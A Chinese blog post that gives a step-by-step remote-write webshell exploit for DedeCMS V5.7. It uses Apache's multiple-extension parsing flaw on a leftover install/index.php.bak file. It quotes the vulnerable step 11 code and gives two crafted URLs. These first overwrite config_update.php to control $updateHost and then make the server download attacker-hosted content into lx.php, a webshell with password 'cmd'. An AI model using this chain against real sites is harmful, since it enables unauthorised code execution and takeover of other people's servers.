dedeCMS远程写入getshell(测试版本V5.7)

时间:2017-08-24 22:44:30   收藏:0   阅读:1259

该漏洞必须结合apache的解析漏洞:

当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个Apache认识的扩展名。如果所有的扩展名Apache都不认识,那么变会按照httpd.conf配置中所指定的方式展示这个问题,一般默认情况下是“text/plain”这种方式。

dede在安装完成,如果没有删除install文件夹,在install下会有一个index.php.bak的备份文件,利用apache的解析漏洞,可以以php方式解析该文件。

在index.php.bak中有如下代码:

else if($step==11)
{
    require_once(‘../data/admin/config_update.php‘);
    $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";

    $sql_content = file_get_contents($rmurl);
    $fp = fopen($install_demo_name,‘w‘);
    if(fwrite($fp,$sql_content))
        echo ‘  <font color="green">[√]</font> 存在(您可以选择安装进行体验)‘;
    else
        echo ‘  <font color="red">[×]</font> 远程获取失败‘;
    unset($sql_content);
    fclose($fp);
    exit();
}

可以利用index.php.bak文件 step 11中的代码,来在服务器上写入任意文件!
由于远程要包含文件的服务器地址是通过 $updateHost 控制的,那我们首先利用代码来改写../data/admin/config_update.php这个文件,使我们可以自定义 $updateHost的值,那样就可以引用任何我们想要引用的文件啦!
利用方法:

随便找一个网站 新建个127.0.0.1/dedecms/demodata.a.txt

技术分享

分别依次访问一下链接

http://www.xxxx.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php

http://www.xxxx.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=lx.php&updateHost=http://127.0.0.1/

即可生成http://www.xxxx.com/install/lx.php    密码cmd

 

评论(0
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!